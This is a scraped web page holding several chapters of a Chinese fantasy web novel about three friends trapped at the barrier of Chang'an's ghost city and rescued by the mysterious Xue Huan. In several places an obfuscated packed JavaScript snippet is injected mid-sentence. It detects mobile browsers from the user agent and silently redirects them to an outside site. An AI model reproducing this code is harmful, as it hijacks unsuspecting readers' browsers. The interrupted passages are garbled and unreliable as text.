行至一处巨大的青铜门前,引路人不知低声念了什么咒语,启动机关,青铜门上的铭文花篆瞬间亮起金色的光晕,随着引路人展开双臂开门的动作,青铜门缓缓打开。 他们两个不禁想“哇”,却都忍住了。花铁铁嘟囔着:这特么才是范儿!堂邑夫自然不甘示弱,低声道:真有够装的! 最没出息的就是我,刚才一路上算是白装了,此时全破防了,不仅星星眼,还一直没见过世面地不停的:哇,哇,哇……软软糯糯,奶奶的声音,不禁让人觉得好笑!黑袍下的引路人,精致的下巴,勾了勾嘴角,抖了抖身子…… 44. 鬼替身 一阵凉风冲出青铜门,吹得我们发丝飘扬,我们向青铜门内看去,里面漆黑一片,忽然门内,约莫是道路的尽头,亮起三盏红色的灯笼,引路人微微颔首,侧了侧身子,做了一个请的手势。 我们正要抬步进入,说时迟那时快,只觉一瞬间,有个黑影从青铜门内,如黑驹过隙一般闪出,我们视线跟随黑影,转过身去定睛一看,从里面跑出的是一个穿着黑袍,蒙着面的十二三岁的半大小子。 青铜门内跟随而来的还有一个妇人,那妇人也身穿黑袍,披散这头发,看不清容貌,却见她似乎很怕出这青铜门,站在门内几步之远的地方,便定住了,只对着外面的小子,厉声喊道:“你这天杀的犟种咬脐郎,出去就再也别回来。”虽然是怒骂,但我们分明能听出这话里的疼爱。 说罢,那妇人狠狠啐了一口,转身消失在黑暗中。大概是回头看见那小子,还愣愣地站在远处不走,青铜门深处,传来那妇人的喊骂声:“滚,还不快滚!”随后再无声响。 我感觉一道目光落在我身上,于是本能地回看了一眼还在不远处傻站着的少年,他果然别开视线。 忽然不知哪里传来几声似是而非的蛙鸣,突兀的让这原本毫无生机的山谷,似乎瞬间有了些许生气。我亦是这时才警醒,刚才老觉得不对劲儿,老觉得缺了什么,原来是少了动静——蛙鸣虫叫雕鸮夜啼……这里山中并无生命! 这个小插叙,我们只道是寻常,并没有搅扰我们的兴致,三人携手打算继续进入青铜门,开启冒险之旅。 这时,引路人却拦在我们面前,发话了,他声音低沉嘶哑,让人很不舒服,他先是对着虚空诡异地点了点头,笑了笑,才冲着我们三人道:“事先说好,鬼城规矩一人一灯,灯亮人进,人出灯灭。刚才已经从里出来了一个,你们三个再进去,出来的时候只能出两个,得留一个,等下次有人进去,这道青铜门打开,才能出来。你们可要想好了,再进!” 说完,引路人让开身子。 我们此时才注意到青铜门内,原本亮着的三盏红灯笼,此时就剩下两盏了。 我们三人对视一眼:果然是连着阴司地狱的鬼城,名堂还挺多,这应该就是和水鬼寻替身一个道理,我们其中一个人的名额,给刚才那小子占用了,于是有一个人成了那小子的鬼替身! 我们看了看站在不远处占了名额还不走的黑袍小子,心里很不痛快。这特么谁啊,无端占了我们一便宜,也不说声谢谢。鬼城里的人就是没我们江湖人懂人情讲道义。哼,我们可不是吃亏的人,才不惯着他!堂邑夫和花铁铁也一副小子你惹错人了的样子。 我正想着,要不要把那小子抓过来,挟制着一起进入青铜门,这样名额不就回来了吗? 谁知那小子却好似看穿我的心意,转身瞬间隐入山谷黑暗的密林之中。啧,叫他给跑了,算你跑的快,我就当吃了一哑巴亏,等进入鬼城,我可一定要多淘换点好东西,摊回本,不然我扯不平这口气。 抬头只见花铁铁和我神色一般无二。 “那也不对啊,我们三个要是不进,那刚才出来的这小子怎么算?”堂邑夫脑筋一转,不解的问。 “怎么算?哼哼,算他赶上了!”引路人嗓子更加阴沉。 闻言我们三人眼神流转,彼此会意,不禁有些轻蔑:啊,规矩就这啊,那咱们也能赶上不是?!到时候青铜门一打开,咱们三个一起出,谁还能非留我们一个啊?谁有那个本事啊? 于是我们三人,大步朝前,忽然只觉身后一冷,耳后风声乍起,虽能判断不是冲我们来的,但还是本能侧身,打开招式防御。 我运气蓄力,只觉有些胸闷,不等细想,却见来人是方才那个黑衣蒙面的小子,他一个闪身上前,一掌将引路人打进青铜门深处,然后仰头朝天鸡鸣三声,但见那青铜门瞬间失去金色的光芒,“哐”的一声巨响紧紧闭上,再去细看竟严丝合缝,根本没有门缝儿,仿佛原本就是一整块巨大的石碑一样。 说时迟那时快,不等我们三人从震惊中回过神来,黑袍小子转身,对着刚才上前欲阻拦他的堂邑夫,抬手就是一拳打在侧腰,随后快步几个闪现,竟然躲开我和花铁铁的夹击,迅速飞进密林之中…… 我草,什么情况,敢欺负我大螳螂,必须追上去给他的教训。我飞身而起,堂邑夫紧跟其后。 花铁铁也满脸厌恶,觉得这莫名其妙突如其来的臭小子坏了她的雅兴,扬言逮住那小子,要把他屁股打烂。 我们之所以这么愤怒,更多的是因为轻敌了,心气不平,找不回场子,也得找回面子,那小子这顿揍是挨定了。 岂料追着追着,那小子就不见了踪影,我们三个更加恼火极了,还从来没有人在我们眼皮子底下,逃脱过,这不是打我们脸呢吗。三人怒发冲冠,誓要把那小子抓住,给他点颜色看看,于是根据一路上的蛛丝马迹,继续追踪,然后就……迷路了,啊哈哈,好尴尬。 我们沉默不语,闷不吭声,继续在密林中,穿梭前行。 不知多久,“你们有什么特别的感觉吗?”我感觉自己的身体有些不对路,见花铁铁和堂邑夫也中气不足,气喘吁吁,满头大汗,便慢下动作,询问。 “嗯,刚才在青铜门拳我就感觉,一用运气蓄力,胸口便有些憋闷,现在越发重了。”花铁铁也满脸奇怪地道。 “对,我也有同感,跑起来腿像灌了铅一般,完全没有平时那般轻松自在。”堂邑夫擦了擦额角的汗,看了看四周,“是不是中了瘴气?” “不是。”我果断否定,“这个鬼城果然诡异。此地不宜久留,咱们赶紧离开。” 对于危险我们有天生的警觉和预判,如此异常,三人都大感不妙,什么面子不面子,场子不场子,命要紧,赶紧扯呼(黑话,撤退)。 我们此时身处密林深处,根据自己多年的经验,三人合力互助判断方向,企图脱身而出,这本不是难事儿。可当我们细细探测周围环境,眼前景象却忽然混沌不已,不仔细看,感觉周遭的景象好像十分清晰,仔细寻找出路,却发现五步之外全是昏暗,只能看清五步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720768|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之内,而这仅有的五步视野,八方景象竟也全然一致。 这特么怎么回事儿?!我们警铃大作,背靠背,站着,做防御状,继续探看四周,寻找出路,却越看越晕,简直天旋地转。 堂邑夫身体好像比我们两个更加难受一些,他喘着粗气,用袖子渗了渗滴入眼睛的汗珠,道:“是幻术。” 花铁铁大叫一声:“闭眼!” “倒也不用闭眼,只低头看着脚下就行。”在这种不确定的幻境中,我心里极不踏实,是万万不肯闭上眼睛的,我拉着他们索性坐在地上,叫他们稍安勿躁,我需要一些时间思考。忽然一股若有似无的,说不清是什么味道的气味,沁入鼻息,我道:“你们有没有闻到什么气味?” “嗯……”花铁铁这会儿直接倚在堂邑夫身上休息,听我这样问,便赶紧直起身子,抬起下巴,扇动鼻翼在空气中使劲嗅了嗅,然后点点头,道:“嗯,好像是那个棺材里的味道。” “我也闻到了,还真是那味道……那咱们是不是一开始就中了幻术,莫不是这会儿咱们其实还在棺材里没出来?”堂邑夫喜欢花铁铁倚着他,还故意调整了姿势,让花铁铁倚得更舒服些,继续道:“咱们这是在棺材里躺的太久了,要憋死了,所以才会难受?” “不至于,鬼城再诡异,也是个谋财的地方,不至于无端害咱们性命。”我冷静道。 可汗流浃背的堂邑夫并不认同我的观点,只说自己窒息的感觉越来越甚了,还抬起手臂,向四周探了探,企图摸到棺材内壁。既然是幻术,又怎么会让你,摸到棺材内壁呢?我叫他静气凝神,不要被感官左右。他听话的照做。 花铁铁眼睛提溜转了转,掐了一下堂邑夫,又掐了一下我,问疼不疼,得到答复,然后才掐了一下子自己,确定都是会疼的,呵呵一笑道:“哼,这要真是幻术那可真够厉害的,咱们躺在各自的棺材里,还能在同一个幻境里,互相交流,互相感触,跟真的一样。” 堂邑夫本来是坚信我们中了幻术的,听出花铁铁语气中的质疑和不屑,赶紧点点头附和,小声嘀咕着,“对啊,要真是幻觉,也应该各幻各的,哪能这么正(常)真实?” 花铁铁没心思注意堂邑夫是否吞字了。堂邑夫倒是做贼心虚一般,怯怯地侧头上下看了一眼花铁铁,然后万分肯定,这不是中了幻术后的幻觉。 我知道他为什么转变的这么块,因为在他的幻想里,花铁铁从来都是不穿衣服的,背景也从来没离开过卧房那张大床。 我怕花铁铁看到他那副没想好事儿的死出,他又要吃苦头,于是赶紧用胳膊轻轻顶了顶堂邑夫,示意他继续静心凝神,不要胡思乱想。 我一边听他们交流,分析,一边思考,揉着被花铁铁狠狠掐过的小胳膊,道:“咱们不在棺中,这气味,不是咱们身上的,说明不是咱们从棺材里带出来的,不是幻术,这里应该……是结界。” “修仙门的结界?!”花铁铁和堂邑夫异口同声。“修仙门的结界怎么会在鬼城出现?鬼城和修仙门有什么关系?” 45. 幻境 我示意他们先别问那么多,先不要打断我思路,那些问题也不是眼下急需解决的重点,活着出去要紧。 花铁铁和堂邑夫自然知道孰轻孰重,若是出不去,弄清了鬼城和修仙门的关系,又能怎样?于是他们默不作声,让我安心思考。 我大胆猜测,下了定论:“刚才在密不透风的棺材里,我们没有昏迷,也没有任何眩晕,而是精神抖擞,就是这气味起到了作用,刚才我们看周围的景象,出现晕眩,坐下身来,闻到这恰时而来的气味,反而清醒,连刚才运气带来的胸闷憋气的不适,也消散了不少。” 至于堂邑夫的反应那么强烈,应该是他胡思乱想,导致的不适加剧。唉,他脑子真是……一刻也不能想起花铁铁,不然就全是那些消耗体力和精力的画面。 我做了几个深呼吸后,确定道:“这气味是弥漫在空气中的,应该是让咱们保持清醒,或许还有引路之效。咱们不妨低头只看脚下,循着气味走走看,说不定能走出去。” 我话音刚落,只听“噗噗噗……噗……”我脑仁儿狠狠一疼——花铁铁那个大虎叉居然在这个时候,放了一个连环大臭屁,本来那股棺材里的味道就若有似无,这下除了她的屁味儿,啥也闻不见了。 我赶紧捂住口鼻起身跑到一边,“人都说响屁不臭,臭屁不响,铁铁你这屁,真是又臭又响啊。”奚落完又非常嫌弃地叫花铁铁,赶紧把她的无敌大臭屁,闻掉。 花铁铁也是要脸面的,尤其是当着一个爱慕她,她却看不上眼的男人面前出这么大糗,瞬间恼羞成怒,整个人都红得发烫。咆哮着:她简直要被我气死了,扬言一定要把我揍死不可。 我躲在一棵树后头,露出头来,却一点也没有惧色,等着看她怎么来把我揍死。 堂邑夫忙按住张牙舞爪的花铁铁说一点也不臭,还一脸果然他看上的女人不同凡响,他好爱好喜欢的样子。我真是服死他了,忽然心里有些羡慕嫉妒恨,要是有一个人也这样爱我就好了,我放个屁,他都觉得是香的…… 可……不会有这么一个人的,我心里难受极了,倚着树背过身去,低着头独自伤怀。 见这招不好使,堂邑夫又说了好些安抚的话,花铁铁怎么可能理他,依旧不依不饶地要逮住我,扬言把我屁股打肿打烂打成花。 最后堂邑夫道:“要动手等出去着,在这里运气,又该胸闷头晕了,你看长安已经知道错了,正在背身思过反省呢!咦……” 我特么草你爹啊,你才思过反省呢,那个屁到底谁放的?干什么?犯错的人只要生了好大的气,就可以成为正义的那方了吗? 堂邑夫说着说着忽然发现了什么,咦了一声,一边看着四周,一边接着说道:“你们看,我和铁铁在这里,长安在那里,我们五步内的景象是不是不再重复了。”说完他又赶紧低下头,警示道:“别看太久,再往外的景象,又开始重复了。” 我快速地看了一眼,果然如此。 堂邑夫道:“我们三个人的视野是可以叠加推进的,聚在一起时最小,那么三人连成一条线的话,视野就会最广。” 花铁铁灵机一动,道:“那咱们是不是可以这样,判断好方向,然后三人每次交替轮换着朝前走五步,周而复始,就能走出去了?” “理论上是可行的,虽然太耗费时间,但是持之以恒肯定是能走出去的,关键点在于方向得对,如果一开始方向就错了,那么咱们的努力不仅全都白费,怕是还雪上加霜,走死也走不出去,南辕北辙,越走越深,就麻烦了。”我先给出肯定,然后说出顾虑。 花铁铁点点头,道:“咱们现在根本就没办法判断方向,那还是不要贸然行动得好。”堂邑夫也赞同。 于是我们三人又聚在一起,背对背,想对策。等等看,那股气味还能不能出现。我还特意提醒,倘若一会儿气味出现了,谁也不许再放屁,都给我憋着。 花铁铁红着脸,嗔怪道:“不提这茬了行不行?” 忽然密林里传来拍手的声音,我们三个登时警觉,却按兵不动。 见我们不为所动,拍手声再次响起,居然是我们以前行走江湖时,定下的暗号,这暗号只有我们私交甚好的几人知道,这里怎么会有人知道呢? 那……这个拍手的人,是我们共同幻想出来,救我们的?!果真是幻术吗? 堂邑夫惊道:“我草,果然就是幻术无疑了,咱们特么给人算计了,居然还在棺材里……” “在棺材里反而好了,死了还能落一棺材不是。”我无所畏惧地道。 花铁铁很赞同:“对啊,我瞧着那棺材板可是上等棺木,讲究得很,不委屈。” “那……咱们……”堂邑夫看看我,又看看花铁铁,咬了咬嘴唇,下定了某种决心一般,略带羞涩地对花铁铁提出不情之请,道:“既然是死前幻想,你能不能给我亲一口?” 不等花铁铁严词拒绝,上前殴打,我就抢先一步说道:“还是别了吧,都躺在各自棺材里,你亲也是亲的自己那副棺材板,万一亲着亲着一激动咽气了,人开棺查看的时候,你还噘着嘴,有损你一世英明的形象。再说都是幻想了,你又何必执着呢?你自己再单独幻想一个幻境亲吧,别再把我幻想进去了,我还是个孩子,有些事情我不太能看。” 花铁铁对着堂邑夫哼了一声,傲娇道:“也别把我幻想进去,只有我和你两个人的幻境我不愿意去。” “那我还单独幻想个啥意思啊?铁铁,你不让我亲,那能不能让我摸一把……啊……”堂邑夫话还没说完,花铁铁反手就是干脆利落的一巴掌。 堂邑夫捂着脸委屈道:“我是说摸摸手,我没想摸别的……” 花铁铁有些意外,眼里闪过一丝抱歉,却嘴硬道:“我就是没想给你摸手啊,要是想到你想摸别的,老娘刚才就把你骟掉了。” “行了行了,别吵了,那既然是咱们的幻境,那咱们还能叫困难说了算啊,咱们现在就开始幻想咱们怎么逃出生天的戏码。”我听着密林深处,又传来的暗号,道:“走,跟着走,能对咱们暗号这么熟悉的都是咱们自己人。” 花铁铁也很赞同这人,是我们幻想出来拯救我们的。 于是我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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堂邑夫说这是鬼打墙吗?我道,不是,鬼打墙是鬼引路原地打转出不来。花铁铁说这怕不是咱们摸到棺材盖了? 堂邑夫道:“有可能,应该是咱们棺材里的气,快用完了,才会这么难受,这么辛苦,怕是这会儿咱们出于本能,正垂死挣扎,在疯狂的抓棺材盖呢吧!?” 我们低头看了看自己的指尖,感觉隐隐作痛,于是一致认为堂邑夫说的对,说的很对!我们应该是马上就要咽气了,马上就要死了。我和花铁铁一左一右,枕在堂邑夫的臂弯里,安静柔软地像两只小猫咪。堂邑夫像哄孩子睡觉一样,用手轻轻地安抚拍着我们的肩头。 “你说好好的咱们来鬼城干啥,鬼城也没去成,反倒真的做鬼了。”花铁铁吊儿郎当道。 堂邑夫心情很好地哈哈一笑:“没事没事,做鬼也没事,黄泉路上咱们仨,也挺好的,咱们走快点,说不定还能追上杜大哥。” 提到杜晦,我和花铁铁都有些伤感。 我低头对着堂邑夫道:“杜晦肯定是一眼就能认出你的,可我和花铁铁……”说着我和花铁铁悲戚对视了一眼,看着彼此的大花脸,下一刻,就不合时宜地噗嗤一声笑出来。 良久,我和花铁铁感叹道:“唉,真是好无语啊,明明平时都很在意妆容仪表的,偏偏今天……爱美爱了一辈子,死了居然是这个鬼样子。” 做鬼我是不怕的,只是如果这幅样子去见杜晦,我心里很是自卑,有些羞于见他,哪怕都是鬼魂,我也有着强烈的羞耻感。 46. 咬脐郎 我低着头,既期待死后做鬼能遇上杜晦,又不想与之相认,却又怕真到那个时候他与我对面不识,我正纠结着。 花铁铁微微勾起唇角,笑道:“可是,杜晦才不会认不出我们,不过他应该也会像之前堂邑夫看到我们那样差点笑死吧!” 入夜,我们去学宫找堂邑夫一起下鬼城的时候,堂邑夫看到我们的大花脸,真的差点笑死。 “他都已经死了,应该不会再笑死了。”堂邑夫道。 “不过看到我们这么滑稽,他的鬼魂应该也会开怀大笑吧,从前他很少有很开心的时候,总是那样板着脸,一副端庄持重,彬彬有礼,隐忍克制的样子,尽职尽责,将整个江湖的担子担在肩头,不管多辛苦,都把重振江湖的大任压于一身,活得太累,实在太累了。”我想起杜晦,心疼不已,“他现在是鬼了,应该松快一些了吧。如果见到我们他能像陛下,惠王齐王,那样大笑一番,也很好对吧。那样咱们带着大花脸做了鬼,也值了对吧!?” “那咱们一会儿,上了黄泉路,得走快一点儿哈,晚了,就撵不上了!”花铁铁心真是大啊,这个时候还不忘提醒。 三人哈哈笑了笑,然后沉默良久,怕一会儿死了走散了,我们将手紧紧握在一起,安然闭上眼睛,仿佛静静等待着死亡的到来,没有丝毫害怕,倒有几分期待…… 正当我们一筹莫展,虽心有不甘,却也超然洒脱,全然放弃时,远处又传来一阵阵拍手声,拍手声比之先前更加急促,更加激烈,似乎很是担心,还仿佛夹杂训斥责备。 花铁铁不耐烦地,朗声道:“好啦好啦,听到了听到了,别拍了别拍了,我们只是有点累,休息一下的。” 那人好像听不见花铁铁的回话,只依旧越发迫切急躁地拍着手。 堂邑夫深深看了看我们,道:“应该是时辰到了,催咱们上路的,这墙可能是鬼门关,巴掌声是叫咱们赶紧过去的。” “怕不怕?” “怕个屁!” “走起!!” 于是我们三个手牵着手,站起身来,互相最后看看了彼此,然后毅然决然,用尽最后的力气,拼死朝着那堵墙迎头撞了上去,“啊,做鬼去喽……”“我爱花铁铁……”“平安永别啦……” 我们大喊着冲了过去,进入那堵气墙的瞬间,我们感觉自己都要被压碎了,别说呼吸了,血管都要爆裂了,心脏都要停了,耳朵发出嗡嗡的轰鸣…… 就像下到无尽的深海之下,被高强度的水压包围挤压一样,难受极了。我们都被气流压迫得闭住了嘴巴,什么告别此生的壮志之话,也喊不出来了。 不光压力大,阻力也十分强,我们行动受到前无仅有的束缚,抬起来想要跨步迈出的腿,仿佛根本无法往前运动,不知过了多久,才艰难的落下第一小步。窒息感,让我们都要憋炸了。 我们连转头都无法做到,只能通过紧握的双手互相打气,向前挪着步子,正当我们,完全卡在气墙中间,只能蛄蛹,进退两难,打算彻底放弃,而安心迎接死亡的到来时,忽然被人从后面推了一把,重重按压在气墙里,突如其来的施压,让我们感觉自己马上就要压成肉饼了,三人难受得忍不住大叫。 下一刻,竟“biu,biu,biu”的三下,像蘑菇冲出地面,春笋冒出尖尖一般,冲出气墙。然后“Duang,Duang,Duang”地倒落在地上。 空气瞬间冲入肺中,我只觉浑身一麻,脑子一酥,瞬间有一种飘飘然,躺在云层之上的,仙仙欲死的快感,我好像听见堂邑夫还是花铁铁嘤咛了一声,然后就失去了所有的知觉。 我永远都记得,失去意识的前一刻,我还在想,这里是哪里,昏死在这里安不安全啊,哦,我们本来就在棺材里哈,啊,活得那么辛苦,死却居然死得这么轻易。 死得那一刻,居然是爽的…… 清晨的第一缕阳光真美,微微刺眼,映入眼帘的是薛环温柔的眉眼,他被朝阳镀了一层金光,我从他怀中坐起,有些茫然的看着他,这是……死还是没死? 薛环笑了笑,柔声道:“醒了。” 我点点头,打了一个哈气,睡眼惺忪的样子,看了看躺在一边的堂邑夫和花铁铁,又环顾四周,发现这里居然是太子遇刺的七绝之地,换句话说这里是杜晦的殒身之地。 我揉了揉眼睛问道:“你怎么会在这里?” 看着像个懵圈小白兔一般模样的我,薛环笑了笑,没有回答,只伸出双手按在我的肩头,略带严肃地警示道:“你既然知道鬼城这个地方,那就应该有人劝诫过你,不要涉足对吧,为什么不听?” 没错,我师父告诫过我,成年之前不得踏入长安城半步,到了长安城的地界,好好做自己该做的事儿,万万不可深入地下探寻长安鬼城。 还,还有,杜晦!杜晦也千叮咛万嘱咐过…… 我知错的低着头,一声也不言语。 薛环看着我耷拉的小脑袋,心疼不已地柔声道:“好了,不要自责了,你年轻,好奇心未免太重,难免忍不住,这次就算了,别有下次了。听见了吗?” 那种熟悉感,竟让我听话极了,鬼使神差的乖乖地点了点头。随即,我惊讶自己的反应,抬头看了看薛环,他见我可爱模样,又是宠溺地眯眼一笑,于是我再次恍惚。 我到底怎么了?面对薛环,我为什么会这个样子?以前,不是这样的。 我实在糊涂了,不敢置信地道:“我们中了幻术,还是在幻境中吗?我们还在棺材里?我们都死了吗?”我心中万般疑惑,说着说着低下头,小声嘟囔着,“可是……如果我们都死了,为什么看见的是你,不是杜晦呢?”好失望! 薛环眼中笑意满溢而出,轻轻地将我垂下的小脸捧起,道:“在嘀咕什么呢?” “没有。” 见我不想回答,他便回复我之前的疑惑:“你们没有死,也没在棺材里,你们出来了。那道让你们很难受的墙,是鬼城的结界……” 啊?不是幻术,而是结界?所以一开始我的判断就是对的,后来猜来猜去,竟弄得越来越乱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你什么时候这么关心杜大哥的事儿了?”堂邑夫很奇怪地揉着胸口坐起身来,想要安慰花铁铁,可上来这一句,就很拱火。强壮的花铁铁推了堂邑夫一把,然后一个飞身离开了。摔出去老远的堂邑夫,爬起身来紧随而去。 花铁铁深爱杜晦这件事只有我和她本人知道,以前她为了掩饰自己的感情,对杜晦除了所谓的友情,和江湖情分,再无其他表现,她的感情隐秘克制到几乎冷淡,完全没有爱情的热烈。 但毕竟是动了心的,为了引起杜晦的注意,她除了勤奋努力修炼武功,争做任务提升江湖地位,与之匹敌,再就是会做一些让杜晦焦头烂额的事儿,其中最爱,就是欺负身为杜晦手下宠将的我。 她总是留心关于杜晦的消息和事情,但是却也总是装作漠不关心,不闻不问。她不闻不问,我就算是看透了她的心思,又怎么敢上赶着去和她说杜晦过往的私密之事呢? 所以,这怨得了谁啊?她只能独自伤心去了,偏堂邑夫这个不开眼的,非要跟着去,我笃定他一定少不了挨揍。 我收回思绪,问薛环道:“我们是怎么出来的,你怎么会我们的拍手暗号?” “什么拍手暗号?”薛环眼眸一垂,抬眼看我,先是一脸茫然,然后恍然道:“我是拍手了,但仅仅是拍手,像这样。”说着他拍了拍双手,果然没什么特别的节拍,更别说暗号了。 是真的没有暗号,还是故意隐藏?若说有暗号,他是如何知道我们的暗号的?若说没有暗号,可我、花铁铁、堂邑夫,我们三个当时确确实实听得真真儿的。我不禁越发疑惑。 47. 迷团 我疑惑,薛环一副比我还疑惑的样子,满脸都是不明白我为什么要那样问的不解,甚至还有点被质问而伤心失望的意味,好似责怪我是不是对他不信任,不放心,很怀疑。 倒让我觉得冒昧了,我满怀愧疚低头躲避,鼓起勇气再抬眼看向他的眼神,想要深深探究时,却发现他目光澄澈纯净如常,根本没有我过度解读的那些情绪。 我顿时有些傻了,我还能看错吗?我真的……看错了?不可能! 以前我跟这小子交往不多,但也不少,可从来没觉得这么费劲过,明明内心感觉他很难懂,很难搞定的样子,眼睛看到的他,却是一副极度赤诚极度坦白的样子。 我相信自己的感觉,也相信自己的眼睛,但这种混淆感,让我错乱。而这一切就是从他受伤后,我们再次重逢起,开始变得不一样的。 我断定,不是我以前不够了解他,实在是如今的他…… “又胡思乱想什么?真的没什么拍手暗号。”薛环笑了笑,温柔地对我耐心解答道:“应该是幻觉,鬼城的空气中确实弥漫着一些药物致幻的,它不会扰乱人的心智,但会影响人的感官,首先会让你们反应变慢,感觉很难使用内力,拳脚功夫施展起来,也老态龙钟一般缓慢。 然后是视觉,你们在密林里用轻功追我的时候,看着是平地,其实是一个很陡很陡的上行路,你们内力又被自我感受压制,所以你们跑起来会感觉很艰难,感觉完全迈不动步子,短短一段路,你们跑了很久,你们以为自己是在竭力飞跑,实则和爬坡慢走没什么区别。 还有其实我一直在你们身边,你们却看不到我,也是因为空气中的致幻药物,后来我几乎就在你们耳边拍巴掌,你们却才隐约听见一点儿,出结界的时候,我其实一直在后面用力推你们,你是不是最后快出结界的那一刻才感觉到我的推力啊?” 如果一切都归于幻觉的话,那么什么都可以说得通,但我觉得事情并没有那么简单,可是薛环的温柔,还是让我倍感舒心地放松下来。 “原来既有幻觉,又有结界。”我点点头,又问道:“那你为什么只拍巴掌,不和我们说话?”直接和我们对话,岂不是更简单些,救人性命,迫在眉睫,干嘛搞得那么玄虚? “我嘴巴里含着这个,不方便。”薛环从怀里拿出一块儿玉一样的东西,在我眼前一亮,我看着眼熟,正要伸手接过来细看,他却收回怀中,一边低头好好整理衣领,一边认真地道:“这是避免致幻的东西。”自然的仿佛根本没注意到我刚才想要拿过来看的动作一般。 好吧,那也免得我真要看,他真不给的尴尬了。 我悻悻地收回手,对他的回复,点点头表示认可,“还有那个奇怪的鬼城规矩,进城出城点灯灭灯什么的,为什么引路人说你算是赶上了?还有那个妇人……”我实在好奇,但问的很小心。 因着杜晦出身鬼城,于是我内心对鬼城里出来的人,都有一种莫名的另眼相看,再者因着薛环身上那种和杜晦十分相近,甚至一般无二的风格做派,以及言行举止,尤其是对我的神情态度,我都无法以平常心对待薛环,忍不住想要亲近,内心深处还有一些害怕,对,就是害怕,这些害怕,让我小心翼翼。 薛环闻言表情一下子严肃起来,我怯怯地抖了一下,不敢继续问下去。 薛环立即缓了缓脸色,眯眼看着我郑重道:“我是故意不让你们进去的,不要小瞧了鬼城的规矩和守护规矩的实力,你们交了钱,灯笼点上,名额已经计数,我出来,占了一个,你们不进去,损失一些钱财而已,倘若要是进去,出来的时候没有足够的名额,是一定会有一个人留下的,这次我不慎顶了一个你们的名额,于是强行关闭青铜门,阻断你们进去,带着你们冲出结界出来。不然后果真的不堪设想,花铁铁,堂邑夫,还有你,你们三个中哪一个留在鬼城,其他两个是不伤心的呢?” 他说的话我还没有细想,只听说要舍下其中一个好友,心口便是一揪。薛环紧紧握住我小小的肩头,苦口婆心,道:“依着你们的性子,不管哪一个没出来,其他两个必定拼死相救,岂不都搭进去了!长安鬼城凶险万分,你们只是在门口转了一圈,就差点折戟,以后万万不要再去涉险了,那些曾经劝诫过你的人,知道你不听劝,会伤心的。” 我不由的一个激灵,别过头看着远处杜晦曾经站过的地方,眼圈微红,低眉咬唇,点点头。 薛环最后的劝诫,也是关于鬼城这一话题的结束语,聪明如我,怎会不知?可我心中还有很多疑问,薛环方才的解答也带来了一些新的疑问,但我确切的知道,即便我不识趣地继续追问,薛环大概也不会说的。 于是只软软糯糯地问:“还有一些事儿,以后你想说了,就会讲给我听对吗?” 薛环看出我以退为进的狡黠,轻轻笑了笑,抬手刮了刮我的小鼻子,道:“我保证不要你等太久。”又捏了捏我的小脸蛋儿道:“怎么搞的,下鬼城也不用画成这样子,拿什么画的?刚你睡着的时候,我怎么擦都擦不掉。” 这份熟悉这份宠溺这份温柔,这语气,这眼神,我简直享受死了。他微笑着的薄唇贝齿让我有些移不开眼。尤其他手上传来的暖意,让我心跳得乱七八糟的,糟糕,这,这是…… 这是我胡思乱想,朝思暮想,期待已久的爱情的温度!!下一刻,我便恢复理智,叫自己赶紧打住,快别想了,他可能喜欢你,但绝不会爱上你,别贪心……可是,忍不住啊,他真的,好迷人…… 我痴痴地看着薛环,好久,直到薛环再次微微笑着询问大花脸的事儿,我才回过神来,慌里慌张地擦着脸,道:“啊,是,是我好朋友,她和我画着玩,一起画的,就,就是花铁铁,她脸上也有,用,用错了颜料……有些洗不掉了,但,大概,十来天,顶多十天,就,就能恢复干净……”说着我憨憨地笑了笑。 “又是花铁铁?”薛环蹙眉,星眸闪过一丝厌烦,然后看着我满是心疼,这……竟然和以前每次花铁铁欺负我,杜晦知道后的反应一模一样。 我吃惊的仰着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731603|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,心提到了嗓子眼儿,之前只是熟悉,现在简直一模一样耶。杜晦,真的好像杜晦,如果你是杜晦,那“你会不会……会不会,觉得我这样子,很好笑?”问完,我低下头,心中很是忐忑。 “不会啊,我不觉得你好笑,我只觉得你可爱,我从来都只觉得你好看,就算你被花铁铁画成这样子,我也只看到你漂亮。” 闻言,我注视着薛环的眼睛,慢慢,慢慢睁大,眸子震动。倘若世间有什么语言能够直击我的心灵,这便是了。 薛环温柔地简直要化进我的心里。我压下眼中泛起的些许潮热,吸了吸鼻子,微微张着惊讶的嘴巴,对上他深邃如渊黑若点墨的星眸,妄图看穿他的灵魂。 面对我的深深审视,薛环坦诚直率地回看着我,没事儿人一样,贝齿轻启,勾唇一笑,轻柔地捧着我的小脸儿,拇指摩挲着我的脸颊,道:“好啦,你先回去,折腾了一夜,该累了,回去先吃点早饭,然后好好休息一下。我还有事要做,过几天再来找你。还有,叫堂邑夫以后不要再去鬼市了,那几个人魄你们着急用,买了就买了,以后不许了。” 听到“人魄”这两个字眼儿,我忽然心虚极了,好像犯错误被当场逮住,可他怎么知道我们的人魄,是从鬼市淘弄的?! 